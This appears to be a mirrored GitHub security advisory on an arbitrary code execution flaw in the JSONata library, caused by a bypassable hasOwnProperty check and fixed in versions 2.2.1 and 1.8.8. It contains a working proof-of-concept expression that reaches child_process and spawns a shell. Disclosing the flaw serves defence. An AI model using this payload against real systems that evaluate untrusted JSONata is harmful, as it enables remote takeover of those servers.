JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871 This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({}); ```

Source published

21 Aug 2026 20:58:01 UTC

Source modified

21 Aug 2026 21:10:59 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL